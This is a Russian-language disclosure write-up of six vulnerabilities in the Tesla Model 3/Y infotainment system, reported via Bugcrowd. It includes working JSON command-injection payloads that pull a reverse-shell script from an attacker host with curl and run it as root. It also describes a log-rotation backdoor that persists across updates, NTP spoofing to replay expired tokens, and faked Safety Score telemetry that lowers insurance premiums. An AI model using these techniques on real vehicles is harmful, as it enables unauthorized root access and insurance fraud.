
Исследование уязвимостей информационно-развлекательных систем Tesla Model 3/Y. 6 уязвимостей, 4 CVE (CVE-2022-42005 – CVE-2022-42008). Root shell, постоянный доступ, спуфинг телеметрии страховых компаний.
Исследование уязвимостей информационно-развлекательной системы Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), ответственно раскрытое компании Tesla через Bugcrowd.
Получен постоянный root-доступ на серийном Tesla Model 3 через уязвимость внедрения команд в диагностическом интерфейсе ODIN (CVE-2022-42008). Оттуда обнаружены пять дополнительных уязвимостей — включая метод сохранения доступа, переживающий обновления прошивки (CVE-2022-42005, CVE-2022-42006), и метод подмены телеметрии страхового рейтинга Safety Score, который напрямую снизил ежемесячные страховые взносы с $130 до $83.
Шесть уязвимостей в ODIN, hermes и Safety Score. Четыре CVE. Вознаграждены через Bugcrowd и включены в программу SSH Security Researcher компании Tesla.
| Находка | CVE | Влияние | Статус | Вознаграждение |
|---|---|---|---|---|
| Корневой Shell через ODIN | CVE-2022-42008 | Корневой Shell через внедрение команд | Исправлено (2021.32.10) | Вознаграждение Bugcrowd |
| Просроченные токены ODIN | CVE-2022-42007 | Повтор токена через NTP-спуфинг | Исправлено (2021.32.10) | Вознаграждение Bugcrowd |
| Загрузка на Mothership | — | Произвольная загрузка файлов на серверы Tesla | Отмечено как N/A | — |
| Лог-бэкшелл + доступ к DV | CVE-2022-42005, CVE-2022-42006 | Постоянный доступ, переживающий обновления прошивки | Исправлено | Вознаграждение Bugcrowd |
| Подмена телеметрии страховки | — | Поддельный Safety Score снижает страховые взносы | Исправление не подтверждено | — |
| Unfuse ODIN | — | Любая задача ODIN без аутентификации | Исправление не подтверждено | — |
Информационно-развлекательная система Tesla Model 3/Y (Intel Atom MCU) работает под управлением ОС на базе Linux с несколькими поверхностями атаки, выявленными в ходе этого исследования:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Полные отчёты: Корневой Shell через ODIN | Лог-бэкшелл + доступ к DV
Диагностический интерфейс ODIN предоставляет задачу TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK, которая принимает параметр MicTest-Input — список строк, передаваемый напрямую в CID_EXEC для выполнения от имени root. Любой подписчик с минимальным уровнем доступа Toolbox (tbx-external) может запустить эту задачу, подключившись к диагностическому порту автомобиля и отправив POST-запрос. Входные строки выполняются буквально, поэтому атака состоит из двух запросов: сначала загрузите скрипт обратного шелла в автомобиль через curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Затем выполните его:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
После установки root-шелла постоянный доступ достигается путём перехвата конфигурации ротации логов svlogd. Стандартная команда сжатия gzip заменяется скриптом, который при каждой ротации логов открывает бэкшелл от имени учётной записи log:
!sh /var/log/wpa_supplicant/gzip.sh -c
Файл конфигурации делается неизменяемым с помощью chattr +i, что гарантирует его сохранение при обновлениях прошивки. Хотя учётная запись log не может использовать стандартную команду sdv для установки значений данных (dbus отклоняет её), дремлющий prototype_server Tesla предоставляет неограниченный websocket-доступ ко всем значениям данных при включении через settings.conf. Пользовательский набор shell-скриптов (sdv, lv, send.sh) эмулирует websocket-клиент для взаимодействия с этим сервером.
Полный набор инструментов для постоянного доступа управляется через поле ввода Access Code в автомобиле (видимое при длительном нажатии на модель автомобиля на сенсорном экране), которое отслеживается скриптом-слушателем, отправляющим команды — включая открытие бэкшеллов, установку значений данных и переключение сервисных режимов.
Конечная точка генерации токенов ODIN от Tesla принимает просроченные tbx-token и — что критично — также возвращает tbx-token пользователя в ответе, что позволяет утекать токенам через обмен. Просроченные токены ODIN обычно отклоняются автомобилем, но, подделав источник NTP-времени автомобиля с помощью ARP-перехвата (ntpspoof.py), можно обмануть автомобиль, заставив его принять токены с истекшим сроком действия. Шлюз обнаруживает манипуляции с NTP (GTW_w149_rtcTimeSetInPast), но не реагирует на этот сигнал.